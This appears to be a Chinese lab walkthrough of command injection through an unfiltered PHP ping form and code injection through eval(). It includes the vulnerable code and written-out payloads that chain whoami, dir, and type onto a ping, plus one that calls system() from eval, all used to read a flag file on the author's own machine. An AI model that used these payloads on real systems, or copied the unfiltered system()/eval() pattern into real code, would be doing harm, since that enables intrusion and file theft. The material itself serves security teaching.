exec"ping"
这是一个ping窗口,如果程序没有进行过滤,那么我们就可以在后面拼接命令进行执行
我们先ping一下127.0.0.1
对于windows:
&&:逻辑与,当左边的命令执行成功,才会执行右边的命令,比如ping 127.0.0.1 && whoami(如果ping失败,则执行whoami)
||:逻辑或,当左边的命令执行失败,才会执行右边的命令,比如ping 不存在的IP || whoami(如果ping失败,则执行whoami)
|:管道符,将左边命令的输出结果,作为右边命令的输入,常用于“数据过滤”或“编码转换”(如 cat /etc/passwd | base64 用于绕过内容过滤)
$ip=$_GET['ip']; system("ping ".$ip);我们的输入会直接加在ping 后面,输入127.0.0.1,会变成system("ping 127.0.0.1"),然后系统执行ping 127.0.0.1命令
127.0.0.1 && ping www.baidu.com这等价于
system("ping 127.0.0.1 && ping www.baidu.com")www.a.shifen.com是百度的别名,我们成功执行了后面的命令
我们就可以通过这样的方式来远程执行命令,我这边在我电脑桌面上放了一个flag.txt,我们尝试去读取出来
127.0.0.1 && dir C:\127.0.0.1 && dir C:\Users\Z\Desktop127.0.0.1 && type C:\Users\Z\Desktop\flag.txt成功拿到flag
exec"eval"
$code = $_POST['code']; eval($code);eval():把字符串当成 PHP 代码执行。
这也是程序没有进行过滤,导致将用户的非法输入进行执行
我们输入
echo "hello";程序看到的是
eval("echo 'hello';");便会打印hello
phpinfo();eval("phpinfo();");system("whoami");system("type C:\Users\Z\Desktop\flag.txt");发现不会执行,这是因为在 PHP 双引号字符串中,反斜杠 \ 是转义符,因此 Windows 路径容易出问题
system("type C:\\Users\\Z\\Desktop\\flag.txt");执行成功,拿到flag